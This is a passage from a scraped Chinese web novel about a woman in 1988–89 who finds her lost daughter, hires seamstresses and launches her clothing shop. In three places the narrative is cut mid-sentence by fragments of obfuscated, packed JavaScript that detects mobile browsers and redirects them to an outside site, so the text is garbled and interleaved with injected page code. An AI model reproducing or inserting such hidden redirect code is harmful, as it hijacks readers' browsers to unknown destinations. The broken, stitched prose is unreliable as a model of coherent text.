难道是那家胖子面馆的老板干的？他放话说让自己走着瞧？不对不对，不要瞎想，水非仙，冷静下来。对方是一家面馆的老板，开门做生意的，能使出这种手段概率太小，何况他和自己没有同行竞争的关系？那么，难道说是刘阳？他在离开前也给自己留下狠话。若是他，可怎么办？ 水非仙的嗓音逐渐沙哑，眼看她就快崩溃，小莲对自己来说是唯一的亲人，是支撑自己在这个世界的力量。若是她出了事，自己可怎么办才好？若是，她像电视上演的那样遭难，自己又怎么办才好。 水非仙声音颤抖，在路口跑着找来找去，引得路人指指点点地围观。 就在这时，一辆黑色轿车在路边停下来，高歌从车上走下来。他长腿一迈，两步跑到水非仙身边，低头关切问道：“水小姐，你还好吗？” 听到熟悉的声音，水非仙抬头一看，发现面前站着自己认识的高歌，有熟人在身边水非仙再也忍不住，两行清泪直直落下，她泣不成声道：“高先生，求求你，求求你帮帮我，我女儿她，她不见了。还没到48小时，我无法报警，怎么办高先生！我不能没有她！” “好，我帮你，水小姐你先缓缓情绪，跟着我深呼吸。我帮你，一定帮你找到她，你先冷静下来，你这样激动对找人没有帮助，你自己还容易休克过去。”高歌出声安抚，帮着水非仙恢复理智，理清思路。 水非仙跟着高歌一起快速深呼吸三次，终于恢复一点冷静。她告诉高歌道：“我和她是在少年宫门口失散的。当时我去推车子，转头她就不见了，现在应该失踪了六七分钟。” 高歌略一思考，说道：“你女儿既然能上少年宫的课程，那年龄应该是不小了对吧？” “今年九岁。”水非仙点点 29.绿叶 《后妈每晚都水群[八零]》全本免费阅读 “所以你刚才是去哪里了？”冷静后的水非仙开口问女儿。 “提染我还是有点不懂的地方。我想着妈妈你已经交过那么多学费，不能浪费，你去推车子还要一会儿时间，我就先上楼再问一下老师，应该两三分钟就能下来，结果没想到楼上排队提问的同学有点多，我只好等了下。我做错了，对不起，我下次再也不会了。”小莲知道自己做错事，低头小声内疚地回答。 所以，到底还是孩子心疼这学费。水非仙叹口气，心疼地摸摸女儿的脑袋道：“你没错，是妈妈刚才太过着急了。” “水小姐在事业上出色能干，没想到在生活中也是位好妈妈。你的女儿，被你教育得很好，跟你一样聪明，还乖巧懂事。”开车的高歌出声夸赞道。 “小莲确实很好，我们还要感谢高先生的帮助，对了，这两个月的衣服我给你送过去的时候，你一直不在，后来又看到吗？还满意吗？”水非仙问道。 “是这样水小姐，我的百货大楼已经稳步在建，各种手续也下来了。前两个月我到处去跑，就是想多拉一些外资电器品牌进入，到时候百货大楼的一层我想全部用来卖电器，尤其是电视机，这样能最大程度地吸引客人驻足观看或者进入百货商场。为给高家几分面子，再加上他们本就缺打入内地腹部省会城市的渠道，好歹是都谈妥了。我回来后第一时间看了水小姐你为我设计的衣服，非常符合我个人的审美取向，水小姐总是能为我带来惊喜。”高歌耐心解释道。 水非仙点点头，夸赞道：“高先生的想法总是那么独出心裁，必定会有奇效。” 高歌的商业嗅觉总是很敏锐，观点也比较超前，不愧是来自港城的大家族的一员。别看现在能买得起电视机的人家没那么多，等到高歌的百货大楼建好怎么也得到90年初，那么接下去十年内电器可是会在华国人民的家中快速普及。甚至很多家庭会在短短十几年内更换四五台电视机。在橱窗内摆设各种款式的电视机或者最受年轻人追捧的随身听，播放最火的电视剧或是歌曲，那对路过的人来说，跟会施展定身魔法也差不多了。 事实上，九零年代初也有不少百货公司同今天一样，喜欢将服装放在一楼引流，将电器放在顶层。毕竟当时的大家不认为电器的销量能有那么高，或者说完全没有意识到被电器吸引进来看个热闹的客流本身也能成为商场消费者的构成部分。可事实证明这种想法是错的，直到几年后，商场才意识到时代的改变，从而相应更换商场陈设位置。水非仙想，到那个时候，已经太迟，高歌恐怕已经抢下市场先机，吃掉较大一部分稳定客流了。做生意就是这样，一点点小小的细节巧思，便能决胜。 “比不上水小姐，你前面摆摊时的巧思，秋实也跟我聊过，真是很好的创意。想必马上要开的店，也能引发全城轰动，只是可惜了。”高歌轻叹，看上去十分惋惜。 “可惜什么？”水非仙好奇。 “可惜水小姐跟很多女强人一样，早早就结婚了。真是完全不给我们这些人机会啊。”高歌开着玩笑，笑眼弯弯，以绅士的语气说出这话能让人很明确地感受到对方是在客气地暗捧自己，也不会让人感到冒犯。 “高先生说笑了。高先生是青年才俊年少有为，心仪高先生的女孩子才是真正的人数众多。”水非仙配合高歌商业互吹一波。 高歌摇摇头道：“我啊，根本就没人追。” “怎么会？” “你也知道我们这些港城家族，很少有人能自己挑选结婚对象的。谈恋爱不过都是玩玩，跟谁结婚那都是家里定的。我背井离乡那就是要闯出一片天地的，自然也没心思在这方面跟家里对着来。我认识的女孩子都知道这一点，何况内地的女孩子嫁到港城我们这样的人家，也过不上什么好日子。大家久而久之也就对我敬而远之了。”高歌轻叹道。 “我跟你一样，也不相信什么爱情的，高先生。可我始终认为，没见过不代表它不存在，或许就像诗人们写得那样，真正的爱情到来时，一切的认知和原则都会被打破。我始终觉得，人活一世，太过短暂，好歹要轰轰烈烈爱过一次，哪怕没有好结局，到底是把该体验的体验过了不是吗？”水非仙跟大多数人一样，自己在感情方面至今空白，劝起别人倒是头头是道。 “或许吧。”高歌在想，或许水小姐就是这样，才会这么早步入婚姻的殿堂吧。“水小姐的店现在进展到哪一步了？毕竟以后是要入驻我商场的实力品牌，有没有什么我能帮到的？”高歌微笑问道，不经意间就将自己不感兴趣的话题转移走。 “已经确定好店面了，现在是要准备找人装修。不知道高先生是否在这方面有相熟之人？价格不是问题，关键是能做出我想要的效果。”水非仙道。 “很巧。水小姐运气好。”高歌左手握着方向盘，伸出修长的右手手臂，往副驾驶座位上自己的外套口袋里一摸索，夹出一张名片递给后座的水非仙。“这家公司的老板从上海来的，品味还算不错，这次我们大楼的设计部分就是交给他。你想要的他应该能做出来，报我的名字，八成还能给优惠。” 眼前的名片字体部分是凹进去的，还是棉纸质地，高级的做旧感能看出它的主人确实品味不凡。“非常感谢，高先生。”水非仙道谢完，默默将名片认真收起来。 车子很快开到画具店，水非仙花费二十块为小莲买下一套不是最贵，却是最适合新手的用具。高歌又开车把他们送回少年宫。方便她们骑着自己的自行车回家。 感谢完高歌后，水非仙骑车捎着女儿快速回到家里。女儿到家第一件事就是掏出画具开始尝试作画。水非仙也从自己的卧室拿出铅笔和纸。准备陪同女儿一同作画。 女儿还不是很会画，她大胆地运用水和墨，发泄一般地将自己的想法全部在纸上全部表现出来 30.招聘 《后妈每晚都水群[八零]》全本免费阅读 水非仙在忙完第二天的单子后，就找到高歌帮忙提供的装修公司。不愧是高歌严选，只是聊一个下午，对方就能精准把控水非仙的需求。只是价格偏高，楼上楼下加起来，一共要两万的装修费，看在高歌的面子上给到一万六。这对水非仙来说，也不是多大的问题，她手头本来就还剩一万多，距离交付还有一个多月，多接几单私人定制，想攒够也不难。 已经确定好店面装修风格、负责执行的装修公司和第一批成品设计，又跑去工商局办好营业执照。她接下来要忙的就是人员招聘，自己要忙着赶制单子，那总要招到两个裁缝，提前准备店里的成衣才行。 说到招人，实在令水非仙犯愁。这后世招聘，打开招聘网站坐等求职者投简历就好。可这个年代，又怎么办呢？改革开放以后，进城打工的农民工不少，可进城打工的农民工一般都是进入工地干活，你让他们缝制衣裳，当时的他们也实在没有这项技能。再说城里人，这个年代但凡有一点关系的，都能进公家的厂子或者公家的小单位，更别说毕业还包分配。即使进不去好单位的，也都在干小个体。 虽说这年代有缝纫机的人家不少，一条街至少能有四五个的手艺强到能出来做裁缝赚钱。可这四五个裁缝，本身也能赚不少，能单干谁愿意打工？更别说水非仙现在连个装修好的店面都没有。 “啊，这可真是头疼，我们出来做生意的，都是搞个体的，像李秋实他们家，那都是最早跟朋友跟家人一起，攒钱承包个矿起家的。我们家也是啊，那都是自家亲戚在干。你说你临时工招个矿工还行，你招个有手艺的裁缝，还想招不止一个，这要怎么做啊。”拿了好吃的来找水非仙和小莲的陈玲，知道水非仙的困境后，也跟着一起发愁。 水非仙轻轻叹气，她也知道难，可都到现在，你再招个什么都不会的学徒，给对方手把手地教也来不及了。 “有了！”陈玲想着想着，猛一拍桌子，她对水非仙道：“水姐姐，你知不知道今年琼省举办人才交流服务中心的事？” “略有耳闻。”当时的人才交流服务中心与现在的人才市场，有很大程度上的不同。当时的人才交流服务中心是由政府办事处牵头，找到整栋楼，为所有公家单位和公有制厂子举办的联合面试大会。一个单位一个房间，几个厂里的领导坐在那里，决定选人用人，应聘者凭票进入，面试已经想进入的单位。 “琼省办这个，确实吸引到了好多人才。各个省现在都开始争相效仿了，咱们省也是。你说找工作的人，并不是都能找到的嘛，还有相当一部分落选的。到时候水姐姐你找找关系，搬个桌子，让他们同意你坐在那院门口不远处，那些想进纺织厂却进不去的出门路过你的桌子，总有人愿意跟你干的嘛！”陈玲一跃而起，为想到这样的主意而变得兴奋起来。 “还真没看出，玲玲你难道就是天才？”水非仙眉眼弯弯，打趣着陈玲。 “少来，我还说帮你找人去说呢，你再逗我我可不帮忙了。”陈玲娇嗔道。 “好了，我们的大小姐，别生气了，我错了。你带来的鱿鱼，我给你做成意式鱿鱼饭，换你大人不记小人过，原谅我可好？”水非仙哄着陈玲道。 “这还差不多。”陈玲轻哼一声，装出一副生气的样子，心里已经在盘算着等会儿去求谁家的女儿。几人玩闹着吃完饭后，陈玲便去帮水非仙跑腿，终于在晚上之前告诉水非仙，一切搞定了，水非仙明天就可以去招人，水非仙的一颗心这才放心来。 夜里，在女儿的帮助下，水非仙在彩纸上写下莲仙招聘点。欣赏完这几个大字，水非仙又接到一波来自群聊中前辈的加油鼓励，才放心去休息。 第二天，水非仙起个大早，早早来到人才交流服务中心院子里，有个戴着眼镜的中年女子已经等在那里，看到水非仙进来，冲她招手，“你就是小水吧，我家女儿已经跟我说过了。快过来，院子里这张桌子就是给你准备的，你搬出去用，临走前再给咱们搬回来就行。手脚得稍微快着点，现在他们来排队都是越来越早的。” 院中侧边已经摆放着一排桌子，想来是工作人员为过来求职的人们登记并发放票据凭证的地方。而那一排桌子的旁边，还有一张斜着摆放的，想来就是为水非仙准备的。 水非仙连连道谢，将那张桌子搬到院外边上点的位置，让出门口，将彩纸挂好，就开始等。 果然没过多久，交流中心的那一排桌子前就排起长长的队伍，那队伍从院子里一直延伸到院外，院中的那栋三层小楼，每间房子也随之开门，想来是今天的面试工作开始。 排在队伍中的人三五成群地聚在一起聊着什么，他们看上去很多都显得格外紧张。其中还有那么一些人，挺起胸膛，谁也不跟聊，看上去充满自信，仿佛好工作已经到手一样。 人群中自然也有嫌等待无聊的人，跑过来好奇地问水非仙：“莲仙是什么单位？怎么从前没有听过？”在得到水非仙的回答后，他们都会失望地离开。嘴里喃喃着：“怎么是私人单位，还是个小服装店啊。”甚至连薪资待遇都没有问，在他们的心目中，找个铁饭碗，哪怕收入只有去外面干活的一半，那都是铁饭碗吃饭香。 听到这些人的话，水非仙要说心里不难受，那都是骗人的。这些人，哪怕被拒绝掉，出来宁愿拖关系找人再重来一次，都不愿意来自己这里试试。怎么能令人不伤心呢？ 水非仙就这样，从朝阳朝阳坐到黄昏，一整天下来，来咨询她的不少，可连一个问她薪资的都没有，估计也是下意识觉得私人门店开不出多高的工资吧，即使可以，也不稳定，没几年搞不好就得倒闭，到时候年龄也大了，工作就没现在好找了。 水非仙轻轻叹气，太阳底下晒了一整天下来，她也有点头昏脑胀的感觉，更多的是有点灰心。创业有时候就是靠着一股气，一股不认输的气，她水非仙能对付得了别人抢地盘，能对付得了别人恶意竞争，但当自己回头时，没有一个人愿意站在自己身后，没有一个人愿意试着相信自己，选择自己，这种内心的感觉，是之前的挫折都比不上的。 她看看人数不多的院子里，今天恐怕要一无所获了，她认命地开始收拾东西，或许，这种招聘方式不对，明天再想想别的办法好了。不管怎么说，人是一定要想办法招到的。 “请问，莲仙是什么？”又有人来问，水非仙已经不抱希望，她边收拾着东西边回答道：“是我自己要开的服装店，私人的哦，不是公家的。” “那，一个月能开多少钱？我行吗？”听到这声音水非仙立刻抬头，眼前是一位头发花白的老人家，紧张地看着水非仙。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913998|134372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感谢自己能在交流中心门口耐心等待一整天，也感谢白秀云没有轻易放弃。不然，她岂不是要痛失一员大将？ “芹芹，你记住。老天爷给你的，不是让你自卑的苦难，而是令你与旁人相比，独一无二的勋章。今日他们因你失去双臂而嫌弃你嘲笑你，不是因为你不好，而是因为你站得不够高。等有朝一日，我们一起，站在山巅再往下看时，仰视你的他们就会认为这是你作为英雄的勋章，就会因为你熬过今日的苦难对你佩服至极。届时，回应你的便不是嫌弃不是鄙视，而是掌声而是赞叹而是对楷模的歌颂。” 水非仙的话像是有魔力，眼前少女如睡美人般沉睡多年的心，因她的话被唤醒，再一次剧烈跳动起来，山巅的景色，她也想去看看。 “只是……”水非仙话锋一转，又道：“没有芹芹的加入，我想要登顶只怕会难上许多，也许会晚很多年呢，芹芹一直不同意难道是要拒绝我吗？” “我同意！我加入！”王芹芹全身都在用力地点头，白秀云将她搀扶着立起来。 “那么，”水非仙上前轻轻给了王芹芹和白秀云一个拥抱，“欢迎加入莲仙，我的新家人们。” 跟白秀云母女俩商量好后，水非仙说好明天会把这接下来一个半月两人要赶制的衣服图纸还有各种数据和布料送来。店面还在装修，等待装修完，散好气味怎么也得明年一月了。害怕二人接下来过得不容易水非仙将这个月的工资提前给了白秀云，以后每个月一号是固定的发薪日。 离开白秀云家后，水非仙又去附近的市场里给母女二人买了些乌鸡跟羊肉以及各种调料什么的，在白秀云的百般推辞下，水非仙硬是将东西，从旁边的矮墙上给她们扔进去。 听到门外的声音，王芹芹大声问自己的妈妈：“是老板姐姐又来了吗？她有没有说什么？妈妈你快告诉我。” 白秀云看着女儿将老板的话当成圣旨的样子就有点想笑，明明不久前老板还告诉自己这不是旧社会，让她不要搞这些，转眼自己的女儿却是青出于蓝。 “是小水老板，她给咱们送来点吃的，都是大补的好东西。我不想要，她硬扔进来就跑了。”白秀云把东西拎过来给女儿展示。 王芹芹看看母亲手里的东西，开口道：“收下吧，妈妈。以后老板再来送，也不要推辞。与其这方面替她省钱，不如实实在在做到实处。妈妈你把我的工资拿去多为我买点绣线和更好一点的这方面的书，不，咱们家把灯也安上好了。前面的十几年，我睡得够久了，后面的岁月里，我不仅为你，我还想为她的信任活一回。妈妈，我将来的绣活会做得越来越好。”王芹芹语气十分肯定。 “嗯，你一定会的。”白秀云的眼睛再一次忍不住有些泛红，真是久违了，女儿的自信。不过还好，虽然中途迷路过一段时间，女儿的自信终究还是回过头，重新找到她了。 32.圣诞节 就这样，一切准备工作就绪，只等89年元旦到来，莲仙便能正式问世。当然，在此之前水非仙还有一件重要的事迫切需要准备好，那就是新店的开业仪式。 “这事儿交给我，我就你一个姐妹。这么大的事，我保证给你办得热热闹闹，不过有个前提，你和小莲必须陪我过这个圣诞节。”陈玲拍着胸脯给水非仙保证道。 水非仙还能说什么呢？只能带着小莲在圣诞节当天登门拜访。陈玲家是一栋自建的二层小别墅，院中种满花，小径通幽，主楼的旁边还有一栋小房用来停车。主楼正门口的台阶下摆着一张贵妃榻，陈玲此刻正躺在上面看着书轻轻晃着脚。 看到水非仙过来，她如小兔一般从贵妃榻上一跃而下。口中念叨：“我等你们好久啦，小莲我跟你说，今天我让阿姨做了很多你爱吃的，你可得多吃点。” “有没有做我爱吃的？不过玲玲你家什么菜我都爱吃，绝对不挑食！”调侃的声音传来，陈玲听到这声音翻个白眼，探身问站在来人身后的阿姨：“阿姨，你怎么把他也放进来了？我不是说今天我就请了水姐姐和小莲吗？” 阿姨有些尴尬道：“玲玲啊，是你爸事先安排的，他吩咐过，阿姨也不好做人啊。” 听到阿姨这么说，陈玲回过身来，狠狠挖了来人一眼道：“你还做了我爸的工作，怪有本事的？” “未来岳父，自然是要时时刻刻谈好的。”那人一脸讨好地笑，没错，来人正是李秋实，他做好陈父的工作，凭借自己的厚脸皮，硬气挤来陈家过这个圣诞节。 “陈小姐、水小姐你们好。”李秋实背后跟着的高歌礼貌冲水非仙和陈玲打招呼。 “我爸都回老家了，你还硬来，你自己硬来就算了，你还拉上人家高歌？真不知道你怎么想的，以为人高歌跟你一样闲的吗？”陈玲不满道。 “嘿嘿，我在陪你聊天的时候，不能放着人家水小姐一个人不是吗？我找高歌来就是让他陪水小姐母女多聊聊，好让咱俩多多相处会儿。还有你说我闲，这也太冤了，我要是闲，我天天来给你唱情歌了。我爸给我安排一堆事，我前段时间都在忙，也是我没天赋，全没办成。既然立业不行，就先成家喽。你也是我该忙的事儿之一。”水非仙只是一段时间没见到李秋实，谁能想到这李秋实看着很高贵的一个人，在追妻时也会这样耍无赖。 听着李秋实的话，陈玲翻个白眼，一把牵起小莲的手，严肃道：“我不管，你今天一直陪着我，不许走开，我才不想跟不三不四的人单独相处。” 小莲忍住笑，轻轻点头，乖乖坐下陪陈玲。 水非仙和高歌看眼前的场合，他俩适合一同消失，就默契地走到一边，给他二人留出独处时间，等晚饭时间到了再过去也来得及。 陈玲的家整个装修风格是纯木质的，木质半墙，木质地板，所有茶几类桌椅家具都是实木制成，所有沙发类布艺家具都是维多利亚风格的，该有的电器也是一样没少，在这个时代，这样的装修可谓是土豪中的土豪。 水非仙来到窗户前，静静欣赏院中花朵，恰逢冬天还能开放的花朵不多。高歌跟着她走过来，看着眼前的花朵发出感慨：“林花谢了春红，太匆匆。无奈朝来寒雨，晚来风。” 水非仙“噗嗤”一声笑出来：“你怎么还念上李后主了？自是人生长恨水长东。高先生，又是谁惹了你了？还是说，让你陪我这个小妇人聊天，就这么为难你吗？” “哎，要是事件的烦心事都和水小姐一样美丽，我还真不介意出点烦心事。”高歌绅士地回答，眉头却皱得紧紧的。 “不知道高先生还记不记得，上次我还欠你个人情，所以有烦心事，不如说出来，三个臭皮匠还能顶一个诸葛亮，如果高先生愿意信任我的话，万一我有办法呢。”水非仙偏头道。 高歌二话没说，直接开始分享自己的烦心事：“我想着，将大楼背后的空地利用起来，做一个游泳池，摆两个滑梯，不用太大，起到引流作用就好，主要是开放给那些小朋友，大人逛街，小孩可以在后面跟伙伴一起玩耍。当然，会有安全员全程跟着。” “这是个好想法，甚至可以称得上是划时代。”水非仙点头认可道，在为自己创造独一无二性方面，高歌也是个中高手。 “难就难在现在Y市只有一家游泳馆，里面的老板多少有点背景，不知道怎么，我去申请的批示一下来，对方就知道了。最近天天带着人来砸工地，导致我们游泳场地的建设工作完全停摆。太耽误时间了，强龙压不住地头蛇，我高家就算有一些道上的关系，在这里也完全没有用武之地。真是令人头疼。”高歌轻轻叹气，找到一旁的沙发坐了下来，看上去十分疲惫，像是被困扰了有一段时间。 水非仙跟着走过来，在旁边的沙发中坐下，她想一想，轻笑着开口：“高先生，前两天我在辅导小莲作业时，看到了一篇故事，我觉得有必要跟你分享一下。” 高歌也没怪水非仙说了这么句和自己的事无关的话，听到水非仙开口，他端正坐姿，认真聆听，虚心受教。 “那篇故事是这样的，从前有个富商，他养了条恶犬。那条恶犬咬死了老郎中家的狗，老郎中上门讨个说法，还被富商言语羞辱。后来突然富商患病不起，老郎中上门诊治，告诉富商说：你得了重病，需要一位药引，就是你家这种狗的骨头。于是第二天，那只恶犬就死了，尸骨无存。”水非仙挑起一边的眉毛，好整以暇地开口。 听着水非仙的话，高歌陷入沉思。“水小姐的话很有意思，只是如何做，我还需要想一想。” 水非仙再次开口：“高先生觉得这富商染病是偶然吗？” 高歌恍然大悟，只是仍有些不解道：“只是，我如何去抓那游泳馆老板背后的人关注的痛点呢？” 水非仙上身前倾，微微靠近高歌，坏笑道：“真是看不出来，出身港城的高先生这么乖的吗？谁告诉你，我这个故事里，那游泳馆老板是狗了？” 如果游泳馆老板不是狗，那狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914888|134372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指的便是他背后之人。高歌猛然间想明白，他紧紧盯着水非仙的眼睛。眼前之人，还好不是自己的敌人。自己前面还给她出主意，如今看来，真是小巫见大巫了。 水非仙掩嘴轻笑道：“没错啊高先生，钓鱼会吗？每次投入一点点，给这座城捐几排路灯，安几个安全岛或者斑马线护栏什么的，对你而言都是小钱吧？但这一点点小小的付出层层往上投入进去，就足以让该杀狗的人为你杀狗了。那到时候连狗都不在了，这狗的附庸又该如何呢？各取所需，我为Y市的城市建设谢谢你，何况他们属于非法垄断。任谁事后来判，你可都是代表正义。” 问题解决，高歌忍不住跟着一起放松地笑起来，他认真看着眼前的水非仙，他知道水非仙是一位出色的女强人。他高歌见过的女强人不少，但水非仙比起她们，更像一位嚣张的赌徒，她似乎总是不害怕在众人面前揭开底牌。就像面对自己，明明他们两人之间不是很熟，不过凑巧互相帮了几次而已，可她竟能给自己出这样的主意，也丝毫不介意明牌告诉自己她是个怎么样的人。做生意的人都怕被对方摸透，明明二人未来还要长期合作，此刻的她却如此大胆，直接当面告诉自己她水非仙是个什么样的人。 虽然道理是这样，高歌心里却知道，眼前的人再一次赌对了。不管她的建议最后有没有用，光是为自己现在的好心情，都是白白欠她一个人情，何况面前这人的那双眼睛，此刻闪烁着狡黠的目光看上去竟是更美了。 高歌望着水非仙那双眼睛，低声开口：“水小姐，你的丈夫可真令人嫉妒，还好你已有家庭，否则此刻的我都不再敢跟你说话了。” 很罕见的，这话水非仙没有听懂。还好，陈玲的声音传来，喊他们二人去吃饭。这声音及时出现，起到救场作用，才没让尴尬的气氛继续蔓延扩散。 水非仙和高歌一起，刚来到餐厅，就看到小莲坐在桌子上翻着看什么。而一旁的李秋实如开屏的孔雀一样认真表白着心意：“玲玲，你以为我跟你的婚约是临时拍定吗？其实是我父亲给我寄过你们的合照，我才求他为我想办法的！你看看这些信，它们代表着我的决心，从今天开始，我每两天为你准备一次惊喜，我向你迈出一百步，只盼望在最后一天，你能伸开双臂，拥抱住那个向你奔赴一百步的人！” 陈玲挫着身上的鸡皮疙瘩，无语道：“你这是又在哪儿看的小说，这也太肉麻了！少看这些好吗？” 小莲将手中的东西打开后递给陈玲，那是一封又一封的信。“玲玲，今天讨债没讨到，我好想你……”“玲玲，今天讨债又没讨到，你说一直讨不到我家会不会破产？破产的话你养我好不好？我吃得少……”“玲玲，我妹妹再欺负你的话，我回去以后要跟我说啊……” 一封又一封，将自己在外面的心情变化完整记录下来，陈玲默默看完，“哼”的一声将信收起来，表情气愤却没有扔掉，她喃喃道：“我才不信你，油嘴滑舌的。” 真是春天快到了啊，水非仙想。 33.开业 1989年1月1日Y市的女大学生小红，在报刊亭买了份全国销量最高的报纸，上面写着，“去年一年里，我们遇到了前所未有的问题，物价上涨过大，对城镇居民的生活带来不利影响。但请各位放心，据可靠消息，接下来情况应该会有所改善。” 小红看完这条新闻，跟旁边的同学叫好道：“早该管管了，那些什么倒爷和好些个老板，赚好些个黑心钱。那都是华国人，我们普通人家大部分都跟着公家干的，要不然就是摆个小摊开个小店，一个月就一两百，赚的都是辛苦钱。谁知道这些黑心的那么多万元户、百万元户，钱是怎么从咱们兜里掏出来的。我看物价这么涨，就是他们搞的鬼，前面不仅不管，还让干什么私营经济，就是让当资本家，还能剥削我们了，这日子越过越倒退了呗！这下好了，总算是要改变了。” “哎，小红，别看这些了，反正咱们老百姓是大头，出啥事都有公家替咱们操心呢，天总不会塌。我跟你说，听说今天新开了家服装店叫莲仙的，派头搞得特别大，比晚会也差不远了，半个城的人都去了，咱们走也看看去。”同学拉着小红就要走。 小红本来不想去，不就是新店开业吗？还是个服装店，能有什么花样，撑死就是抽个奖，那头奖还说不好就内定了，有什么好看的？可朋友兴致满满，小红无奈只得跟着一起去。 离那家店还有两站路，小红就听到周围的人已经议论上了。“几点开始，还没开始吗？没有啊，听说排了好多礼炮车在那儿，像是花了好多钱，应该还有节目呢，去晚了挤不进去了！” 听到这话小红自己的兴趣也被吊起来，她紧紧拉住同学的手，加快脚步。来围观的人渐渐多起来，甚至到离店门口不远的位置，都要用很大的力才能挤进去。 小红拉着同学的手，费了九牛二虎之力，拼命挤进去，那店门口已经搭起个临时舞台。已经有乐队在台上等着。小红和同学极其幸运，在她们挤到前排的那一刻，礼炮齐鸣，一位穿着新颖式样旗袍，美得很有攻击力的女子走上台来，她试了下身前的麦克风。然后开口：“首先要感谢珍宝轩的陈玲小姐对本店的大力支持。其次欢迎各位来到我们莲仙的开业现场。多年以来，我们的穿着打扮一直在追随着西方的脚步，莲仙致力于在发展的同时，与我们自身传承下来的传统文化相结合。咱们老祖宗的审美本身就是经典，而经典，永不褪色。谢谢大家！” 话音落下，雷鸣般的掌声响起。在掌声响起的同时，舞台的两侧，同时走上两支乐队，一支民乐队，一支摇滚乐队，他们先是一起合奏婉转悠扬的民乐，又在下一秒贝斯的咆哮声中，转为合奏摇滚乐。摇滚乐的重低音与民乐的铿锵声一起通过音响震得大地跟着颤抖，也直接引爆莲仙开业仪式现场的气氛。 在众人的叫好声中，第一位女子穿着一件梅花汉服上台，她手中捧着一束梅花，低头轻嗅，下一秒将梅花扔到巨人手里，轻扯汉服，里面莲仙的白梅连衣裙露出，女孩的神情也从刚才的娇羞，一瞬间转为阳光开朗，她转着圈向台下的众人展示自己和身上的裙子。 连着上去几个姑娘展示完衣服后，台下的水非仙和陈玲都以为这项表演就到这里了。谁想到下一秒，一位穿着飘逸汉服的男子一跃便到台上，他挥舞手中的剑，开始吟诵：“风雨如晦，鸡鸣不已。既见君子，云胡不喜？” 那一招一式明显是练过的样子，引得台下叫好连连。 “哎，他要来跟你说过没有？”水非仙坏笑着打趣陈玲。 “没有啊，烦死了谁让他来的？”陈玲吐槽。 “真的烦？看他这架势，该不会专门为你练的吧？”水非仙看看台上卖力演出的李秋实，再次问陈玲，“你真的不动心？只是你朋友的店面开业，他就下这么大的功夫，玲玲，别做让自己后悔的事。” 陈玲轻叹一声道：“我知道，说不动心那是骗人的。只是从前的事在我心里像一根刺，我总会想起他妹妹说他们这样的人看不起我时的样子。再看看吧，水姐姐，若他真能像自己说的，向我奔赴一百步，那时再说，这还没几次呢……” “你自己看，我不给你任何建议，我只是怕你后悔。说起来，你今天请的这些人，是早早就准备下的吧？”水非仙问。 “那可不，都是我们学校的同学，各个社团的，我后面还准备了惊喜哦。”陈玲骄傲地抬起头，在水姐姐的事上，她是绝对的用心。 等后续唱跳的节目都结束，陈玲跑到台上开口：“表演结束了，但大家别着急走，我们珍宝轩还做了很多荷花酥，庆祝莲仙开业，在场各位排队每人免费可以领取一枚。珍宝轩的手艺大家放心。只希望各位吃掉手中莲花，永远不忘咱们莲仙，以后多多支持！” 说完就像小兔子一样，从台上一跃而下，跟着自己早早等在一旁的保姆一起，从家中的车里把点心们取出来，开始给排队围观的客人们发放。 看着眼前的陈玲，李秋实默默走到水非仙身边，开口打招呼：“水小姐好。”水非仙冲他点点头。李秋实凝视陈玲半天，没忍住，问水非仙：“水小姐和玲玲的关系最为亲密，不知在水小姐看来，我可有几分机会？” 水非仙轻笑道：“李先生准备得这样充分，还花了这么多心思，这会儿倒没自信了？” “水小姐打趣了。我之所以说一百步，不过是给自己争取多一点的时间罢了。否则以玲玲的性子，我若是直接表白，被拒绝后，她必不愿再见我。”李秋实叹道。 “我不是陈玲，我不能代替她回答你。只是我能告诉你的是，你别看陈玲是个无忧无虑的大小姐，她不傻，她很聪明，一个聪明的女人不会错过一个满心都是她的优秀男人。与其考虑能不能成功，不如去想想，怎么让她相信你的爱意。至真至诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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整个店里，底面都是用鹅卵石铺成，不同于传统满是衣架，挂满衣服的服装店，水非仙店中的衣服，你都要先看完这些精心摆过的景，才能在这些景墙的另一侧或者门的后面，找到这个系列的全部衣服，先看概念，才能真真实实地用手来触碰感受这些衣服。 而店里每天会燃不同的中式熏香，又配合这样的设计巧思，进一步帮助来店里逛的消费者沉淀心情，将节奏由快转慢，以达到延长消费者滞留时间，提升成交率的目的。 小红和同学逛了一圈，很多设计她很喜欢，虽然二楼的高定她买不起，可一楼逛逛也是开心啊，便和同学约好，明天就一起来买一件衣服试试看。 第一天开业，水非仙差点没累趴下，折腾到天黑，顾客才渐渐散去。等她回到家，想着进入群聊，看看前辈们如何点评。这一闭眼，好家伙，群里的天差点塌了。 34.宿敌 卡尔拉格斐：真是阴魂不散，你都走了那么多年了，怎么还能在这儿看到你？ 伊夫圣罗兰：我就很想看到你吗？该死，这群怎么退不掉。 